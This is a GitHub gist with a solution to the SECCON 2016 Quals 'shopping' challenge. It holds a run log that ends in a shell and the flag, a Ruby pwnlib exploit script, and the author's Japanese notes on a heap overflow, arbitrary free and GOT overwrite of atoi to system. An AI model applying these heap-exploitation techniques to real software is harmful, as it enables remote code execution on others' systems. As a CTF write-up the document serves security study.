Skip to content

Instantly share code, notes, and snippets.

@Charo-IT
Created December 11, 2016 09:24
Show Gist options
  • Save Charo-IT/ba8f2ca8c8bbef081aa6c3bbfcddef50 to your computer and use it in GitHub Desktop.
Save Charo-IT/ba8f2ca8c8bbef081aa6c3bbfcddef50 to your computer and use it in GitHub Desktop.
SECCON 2016 Quals - shopping
$ ruby shopping.rb r
[*] connected
[*] make plenty of money
0x0011344b
0x001a9fa4
0x00259b17
0x003a31eb
0x0051c393
0x006ae808
0x007956b7
0x0089b82e
0x00b6224c
0x00fd2a8d
0x01418566
0x017dce6a
0x022c7b93
0x024ddf27
0x02bc78fe
0x03d2e918
0x044fb8b6
0x0457ffda
0x04ab663f
0x051ff36c
0x060c1a1b
0x087378ef
0x0a7ab4ac
0x104b9b7b
0x1379121f
0x16fa6228
0x1fc4652a
0x2cdf020b
0x329799c3
0x39cd3431
0x4e9c328d
0x6e727f24
0x80abca49
[*] send bug report
[*] leak libc base
libc base = 0x7f0986771000
[*] leak heap base
heap base = 0x1c78000
[*] overwrite product
[*] overwrite chunks
[*] overwrite report
[*] overwrite got
[*] launch shell
[*] interactive mode
id
uid=10997 gid=1001(shopping) groups=1001(shopping)
ls -la
total 44
drwxr-xr-x 2 root shopping 4096 Dec 5 15:22 .
drwxr-xr-x 4 root root 4096 Dec 5 15:19 ..
-rw-r--r-- 1 root shopping 220 Dec 5 15:19 .bash_logout
-rw-r--r-- 1 root shopping 3637 Dec 5 15:19 .bashrc
-rw-r--r-- 1 root shopping 675 Dec 5 15:19 .profile
-rw-r--r-- 1 root shopping 27 Dec 5 00:01 flag.txt
-rwxr-xr-x 1 root shopping 33 Dec 4 23:26 run.sh
-rwxr-xr-x 1 root shopping 14600 Nov 30 04:31 shopping
cat flag.txt
SECCON{pl3453_buy_4_l07!!}
exit
[*] end interactive mode
[*] connection closed
#coding:ascii-8bit
require "pwnlib" # https://github.com/Charo-IT/pwnlib
remote = ARGV[0] == "r"
if remote
host = "shopping.pwn.seccon.jp"
port = 16294
libc_offset = {
"__libc_start_main" => 0x21e50,
"system" => 0x46590
}
else
host = "localhost"
port = 54321
libc_offset = {
"__libc_start_main" => 0x21e50,
"system" => 0x46590
}
end
offset = {
"report" => 0x603118,
"money" => 0x603108
}
got = {
"__libc_start_main" => 0x603060,
"atoi" => 0x6030a8
}
class PwnTube
def recv_until_prompt
recv_until("\n: ")
end
end
def tube
@tube
end
def set_mode(mode)
raise unless [:shop, :customer].include?(mode)
tube.recv_until_prompt
tube.sendline(mode == :shop ? "1" : "2")
end
def current_money
money = tube.recv_capture(/#### SHOP MODE \(\$(-?\d+)\) ####/)[0].to_i
tube.recv_until_prompt
tube.sendline("9")
money
end
def add_product(name, stock, price = nil)
tube.recv_until_prompt
tube.sendline("1")
tube.recv_until("Name >> ")
tube.sendline(name)
if !price.nil?
tube.recv_until("Price >> ")
tube.sendline("#{price}")
end
tube.recv_until("Stock >> ")
tube.sendline("#{stock}")
end
def list_product
tube.recv_until_prompt
tube.sendline("2")
end
def reset_product_list
tube.recv_until_prompt
tube.sendline("3")
end
def back_to_main_menu
tube.recv_until_prompt
tube.sendline("0")
end
def add_to_cart(name, amount)
tube.recv_until_prompt
tube.sendline("1")
tube.recv_until("Product name >> ")
tube.sendline(name)
tube.recv_until("Amount >> ")
tube.sendline("#{amount}")
end
def list_cart
tube.recv_until_prompt
tube.sendline("2")
end
def buy
tube.recv_until_prompt
tube.sendline("3")
end
def reset_cart
tube.recv_until_prompt
tube.sendline("4")
end
def send_bugreport(name, reason)
tube.recv_until("(y/N) >> ")
tube.sendline("y")
tube.recv_until("your name : ")
tube.sendline(name)
tube.recv_until("when crash : ")
tube.sendline(reason)
end
def edit_bugreport(name, reason = nil)
tube.recv_until_prompt
tube.sendline("-1")
tube.recv_until("Change name? (y/N) >> ")
if name.nil?
tube.sendline("n")
else
tube.sendline("y")
tube.recv_until("your name : ")
tube.sendline(name)
end
tube.recv_until("Change reason? (y/N) >> ")
if reason.nil?
tube.sendline("n")
else
tube.sendline("y")
tube.recv_until("when crash : ")
tube.sendline(reason)
end
end
PwnTube.open(host, port) do |t|
@tube = t
puts "[*] make plenty of money"
money = 1000000
while money <= 0x7fffffff
set_mode(:shop)
money = current_money
reset_product_list
add_product("A", 0, money * 3 / 4)
list_product
rate = tube.recv_capture(/\(\$\d+ x ([0-9.]+)\)/)[0].gsub(".", "").to_i
if rate <= 100
reset_product_list
back_to_main_menu
next
end
add_product("A", 1)
money = current_money
back_to_main_menu
set_mode(:customer)
add_to_cart("A", 1)
buy
money += tube.recv_capture(/\$(\d+)\n/)[0].to_i
back_to_main_menu
puts "0x%08x" % money
end
puts "[*] send bug report"
set_mode(:shop)
send_bugreport("A" * 62, "A" * 0x2a + [0x371].pack("Q"))
puts "[*] leak libc base"
add_product("A", 1, 999967)
add_product("B", 0, 0)
back_to_main_menu
payload = ""
payload << "\0" * 0xc8
payload << [0x31].pack("Q") # size
payload << [got["__libc_start_main"]].pack("Q")
edit_bugreport(payload)
set_mode(:shop)
list_product
libc_base = tube.recv_capture(/001 : (.{6})/m)[0].ljust(8, "\0").unpack("Q")[0] - libc_offset["__libc_start_main"]
puts "libc base = 0x%x" % libc_base
puts "[*] leak heap base"
back_to_main_menu
payload = ""
payload << "\0" * 0xc8
payload << [0x31].pack("Q") # size
payload << [offset["report"]].pack("Q")
edit_bugreport(payload)
set_mode(:shop)
list_product
heap_base = tube.recv_capture(/001 : (.+)\(\$/m)[0].ljust(8, "\0").unpack("Q")[0] - 0x80
puts "heap base = 0x%x" % heap_base
puts "[*] overwrite product"
back_to_main_menu
payload = ""
payload << "\0" * 0xc8
payload << [0x31].pack("Q")
payload << [heap_base + 0x1d0].pack("Q")
payload << "\0" * 0x18
edit_bugreport(payload)
puts "[*] overwrite chunks"
set_mode(:shop)
reset_product_list
back_to_main_menu
payload = ""
payload << "\0" * 0xc8
payload << [0x31].pack("Q")
payload << [0].pack("Q") * 5
payload << [0x21].pack("Q")
payload << [offset["money"] -8].pack("Q")
edit_bugreport(payload)
puts "[*] overwrite report"
set_mode(:shop)
add_product("sh", 0, 0)
add_product("A" * 8 + [got["atoi"] - 8].pack("Q"), 0, 0)
puts "[*] overwrite got"
back_to_main_menu
edit_bugreport(nil, [libc_base + libc_offset["system"]].pack("Q"))
puts "[*] launch shell"
tube.recv_until_prompt
tube.sendline("sh")
tube.interactive
end
@Charo-IT
Copy link
Author

SEND BUG REPORTのstrncatにheap bofがあるので、まずがんばってそこまでたどり着く

SEND BUG REPORT時にReport構造体用の領域とReport->name用の領域が確保されるが、
よほどヒープを散らかしていなければReport構造体の後ろにReport->nameが来るので、
heap bofでReport->nameのチャンクサイズを水増ししておく

そうすると、SHOW BUG REPORTのReport編集処理の以下の部分でさらにheap bofができるようになる

// チャンクサイズを水増ししたので、report->name本来の領域を超えて入力できる
// 任意のタイミングで発動できるし、null byteも入れ放題
getnline(report->name, malloc_usable_size(report->name));

この後、Report->nameのheap bofでProductのポインタを書き換えることで、アドレスをリークしたり、任意アドレスのfreeができるようになる

今回はbssに店の資金用の変数があるので、mallocがその周辺のアドレスを返すようにし、Reportへのポインタをgotに向けてgot overwriteした

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment